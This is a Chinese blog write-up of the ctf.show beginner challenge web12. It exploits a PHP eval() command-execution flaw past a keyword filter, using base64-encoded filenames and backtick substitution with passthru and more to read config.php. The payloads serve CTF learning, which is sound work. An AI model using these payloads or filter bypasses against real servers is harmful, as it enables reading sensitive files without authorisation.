ctfshow-萌新-web12( 利用命令执行函数获取网站敏感信息)

本文阅读 3 分钟
首页 安全分享,WEB安全 正文

ctf.show 萌新模块 web12关, 这一关考察的是代码执行漏洞的利用, 重点在于命令执行函数的利用方式, 推荐使用反引号(``) 或者 base64加密绕过

 img

页面中展示了部分源码, 并提示我们 falg 就在 config.php文件中, 读取文件内容即可拿到 flag

img

 

首先分析一下源码

img

 重点在这个if判断中, 过滤了参数中的 system exec highlight cat . php config 关键字, 只要绕过这些过滤条件就能使用 eval()函数执行代码了

方法一, base64加密绕过

base64_decode();    -- base64解码,常用于参数绕过
base64_encode();    -- base64加密

查看当前目录文件, 拿到 config.php文件的位置

?c=passthru('ls');

 由结果可知, 文件就在当前目录下img

接下来获取 config.php 文件名base64加密后的值, 这里使用 base64_encode()函数来加密, 方法不唯一, 其他方式获取加密的值也可以

img

 加密完成后, 利用base64加密后的文件名绕过过滤条件, 查看文件内容, 由于 cat命令被过滤了, 这里使用 more 代替

?c=$a = base64_decode('Y29uZmlnLnBocA==');passthru("more $a");

 页面空显示, 但也没报错

img

 右键查看网页源码即可看到文件内容, 获取 flag

img

 

方法二, 反引号绕过

反引号, 可以执行系统命令, 并返回一个字符串类型的变量, 用来保存命令的执行结果, 需要注意的是, 反引号中的命令会先被执行并将结果以字符串类型的变量返回, 而后再参与到其他代码的执行, 类似一个函数

首先查看当前目录下的文件, 确认 config.php 文件的位置

?c=echo `ls | grep conf*`;

 由结果可知, 文件就在当前目录下img

上面的命令 ls | grep conf* 返回结果是一个内容为 config.php 的字符串变量, 我们将返回结果作为文件名使用 more命令查看文件内容, 即可获取 flag

?c=passthru('more `ls | grep con*`');

页面空显示, 但没有报错, 没有关系, 这很正常

img

 右键查看网页源码即可拿到 flag

img

 

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/120243644
-- 展开阅读全文 --
Redis底层数据结构--跳跃表
« 上一篇 04-28
BUUCTF Web [强网杯 2019]随便注
下一篇 » 06-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复